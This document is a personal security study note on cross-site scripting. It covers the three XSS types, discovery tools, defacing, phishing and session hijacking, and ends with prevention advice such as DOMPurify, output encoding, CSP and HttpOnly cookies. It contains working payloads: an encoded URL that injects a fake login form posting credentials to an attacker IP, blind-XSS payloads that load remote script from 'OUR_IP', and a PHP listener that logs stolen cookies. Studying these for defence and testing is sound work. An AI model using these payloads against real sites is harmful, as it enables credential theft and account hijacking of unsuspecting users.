/ Offensive Security / Exploitation / Cross-Site Scripting (XSS).md
Cross-Site Scripting (XSS).md
  1  ## What is XSS
  2  
  3  An attacker will inject extra JavaScript code into an input field (e.g. comment/reply).
  4  
  5  User that view the JS will unknowingly run the code
  6  
  7  XSS do not typically directly affect the back-end server as it affect user that is running the code
  8  
  9  Attacker can use XSS to get victim's session cookie
 10  
 11  Cannot be used to do something system-level code execution
 12  
 13  Typically present if there is no sanitation and filtering of user input
 14  
 15  The 3 types of XSS:
 16  
 17  | Type                           | Description                                                                                        |
 18  | ------------------------------ | -------------------------------------------------------------------------------------------------- |
 19  | Stored (Persistent) XSS<br>    | User input is stored on the back-end database and then displayed upon arrival                      |
 20  | Reflected (Non-Persistent) XSS | User input is displayed on the page after being processed by the server, but it is not stored      |
 21  | DOM-based (Non-Persistent) XSS | User input is shown in the browser and is processed by the client-side and not the back-end server |
 22  
 23  ```
 24  # Simple XSS payload to test for vulnerabilities
 25  
 26  # Show an alert of the server IP
 27  <script>alert(window.origin)</script>
 28  
 29  # Show everything after the payload as plaintext
 30  <plaintext>
 31  
 32  # Pop up the browser print dialog
 33  <script>print()</script>
 34  ```
 35  
 36  ## Stored XSS
 37  
 38  **Most critical**
 39  
 40  Payload most likely needs to be removed from the database
 41  
 42  If the payload is still there when we refresh our tab then it is persistent
 43  
 44  ## Reflected XSS
 45  
 46  This vulnerabilities are temporary and are not stored in the database
 47  
 48  There are cases where you can get error messages and confirmation messages using this
 49  
 50  To target a user, you can send the URL that contains the payload XSS
 51  
 52  ## DOM XSS
 53  
 54  *Source* is  the JavaScript object that takes user input
 55  
 56  *Sink* writes t he user input to a DOM Object on the page
 57  
 58  If the *sink* is not properly sanitized, it will be vulnerable to XSS
 59  
 60  Common JavaScript function to write to DOM objects are:
 61  - `document.write()`
 62  - `DOM.innerHTML`
 63  - `DOM.outerHTML`
 64  
 65  Common jQuery library functions that write to DOM objects are:
 66  - `add()`
 67  - `after()`
 68  - `append()`
 69  
 70  **`innerHTML` do not allow the use of `<script>` tags within it as a security feature **
 71  
 72  ```
 73  # Payload that can be used in DOM XSS
 74  
 75  # Runs on error
 76  <img src="" onerror=alert(window.origin)>
 77  ```
 78  
 79  To target a user, you can send the URL that contains the payload XSS
 80  
 81  ## Discovery
 82  
 83  [[Nessus]], [[Burp|Burp Pro]] and [[ZAP]] have capabilities for detecting all three types of XSS vulnerabilities
 84  
 85  Open-source tool that can assist in XSS Discovery are [[XSS Strike]], [[Brute XSS]] and [[XSSer]]
 86  
 87  Most basic way of testing for XSS vulnerability is manually inputting payload into an input field
 88  
 89  A large list of XSS payload can be found in [PayLoadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md) and [PayloadBox](https://github.com/payloadbox/xss-payload-list)
 90  
 91  ## Defacing
 92  
 93  We can inject JavaScript code to make a web page look the way we want
 94  
 95  ```
 96  ## Element that are usually utilized for defacing
 97  
 98  document.body.style.background
 99  
100  document.body.background
101  
102  document.title
103  
104  DOM.innerHTML
105  
106  document.getElementById("something").innerHTML = "Something"
107  
108  document.getElementByTagName('something')[0].innerHTML = "Something"
109  ```
110  
111  Using `document.getElementByTagName('body')[0].innerHTML` will change the first body element in the web page
112  
113  ## Phishing
114  
115  XSS can be used for phishing by sending the url or *reflected XSS* and *DOM XSS*
116  
117  You can inject code to make the site looks like a login form and send the url to the victim
118  
119  If you are struggling to find the XSS vulnerability, use [[XSS Strike]]
120  
121  Append the code you want to inject after the payload created by [[XSS Strike]]
122  
123  ```
124  # Sample malicious URL with injected XSS
125  http://10.129.38.208/phishing/index.php?url=%27%3E%3CA%250aonPOIntEReNtEr%250d%3D%250dconfirm%28%29%250dx%3E%3Cscript%3Edocument.write%28%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E%3Cform+action%3Dhttp%3A%2F%2F10.10.14.201%3A80%3E%3Cinput+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E%3Cinput+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E%3Cinput+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E%3C%2Fform%3E%27%29%3Bdocument.getElementById%28%27urlform%27%29.remove%28%29%3B%3C%2Fscript%3E%3C%21--
126  
127  # Sample malicious payload
128  '><A%0aonPOIntEReNtEr%0d=%0dconfirm()%0dx><script>document.write('<h3>Please login to continue</h3><form action=http://10.10.14.201:80><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();</script><!--
129  ```
130  
131  ## Session Hijacking / Cookie Stealing
132  
133  Modern web application utilize cookies to maintain user's session throughout different browsing sessions
134  
135  Typically if someone steals a person's cookie they will be able to login as that person
136  
137  *Blind XSS* occers when the vulnerability is triggered on a page we don't have access to
138  
139  A good example is if a site requires an admin to review registration request, you can send send *Stored XSS* that runs when they are reviewing your request
140  
141  This can cause problem as **how do we know what field is vulnerable** and **how to know what payload to be used**
142  
143  This proves more difficult if there is multiple input fields(e.g. username,password,email)
144  
145  `<script>` tags allows us to include a remote script such as:
146  ```
147  <script src="http://OUR_IP/script.js"></script>
148  <script src="http://OUR_IP/username"></script>
149  ```
150  
151  If we specify `<script src="http://OUR_IP/username"></script>` the *username* field we will know what field is vulnerable if there is a request to our server from the username field for file named username
152  
153  You can find payloads to test for callback to our server [here](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#blind-xss)
154  ```
155  # Payload to test for callback to server
156  <script src=http://OUR_IP></script>
157  
158  '><script src=http://OUR_IP></script>
159  
160  "><script src=http://OUR_IP></script>
161  
162  javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
163  
164  <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
165  
166  <script>$.getScript("http://OUR_IP")</script>
167  ```
168  
169  Once you have identified the vulnerable input field, you can use payload to steal the cookie and use the payload you can find [here](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#exploit-code-or-poc)
170  
171  Code for the server to listen for the cookie sent by the victim:
172  ```
173  <?php
174  if (isset($_GET['c'])) {
175      $list = explode(";", $_GET['c']);
176      foreach ($list as $key => $value) {
177          $cookie = urldecode($value);
178          $file = fopen("cookies.txt", "a+");
179          fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
180          fclose($file);
181      }
182  }
183  ?>
184  ```
185  
186  Inspect the site and add the cookie into your browser
187  
188  ## XSS Prevention
189  
190  Most important part of preventing XSS is by proper **input sanitization and validation** on the front-end and back-end
191  
192  ```javascript
193  <script type="text/javascript" src="dist/purify.min.js"></script>
194  let clean = DOMPurify.sanitize( dirty );
195  ```
196  
197  We can use this script to to escape any special characters
198  
199  We should also *never* use user input in any HTML tags
200  ```
201  # HTML tags that should never have any user input
202  <script></script>
203  <style></style>
204  <div name='NAME'></div>
205  <!-- -->
206  ```
207  
208  We should also prevent to using JavaScript functions that allow changing raw text of HTML fields
209  ```
210  # JavaScripts that allow the changing of raw text of HTML fields
211  DOM.innerHTML
212  DOM.outerHTML
213  document.write()
214  document.writeln()
215  document.domain()
216  
217  #  JQuery functions that allow the changing of raw text of HTML fields
218  html()
219  parseHTML()
220  add()
221  append()
222  prepend()
223  after()
224  insertAfter()
225  before()
226  insertBefore()
227  replaceAll()
228  replaceWith()
229  ```
230  
231  The front-end can be easily bypassed by sending in custom *GET* or *POST* request
232  
233  We can use [DOMPurity](https://github.com/cure53/DOMPurify) library to sanitize the user input
234  
235  We should also use Output Encoding in the backend by swapping characters into HTML codes such as *<* to *&lt*
236  
237  We should also configure out server properly to prevent XSS attacks such as
238  - Using HTTPS across the entire domain.
239  - Using XSS prevention headers.
240  - Using the appropriate Content-Type for the page, like `X-Content-Type-Options=nosniff`.
241  - Using `Content-Security-Policy` options, like `script-src 'self'`, which only allows locally hosted scripts.
242  - Using the `HttpOnly` and `Secure` cookie flags to prevent JavaScript from reading cookies and only transport them over HTTPS.
243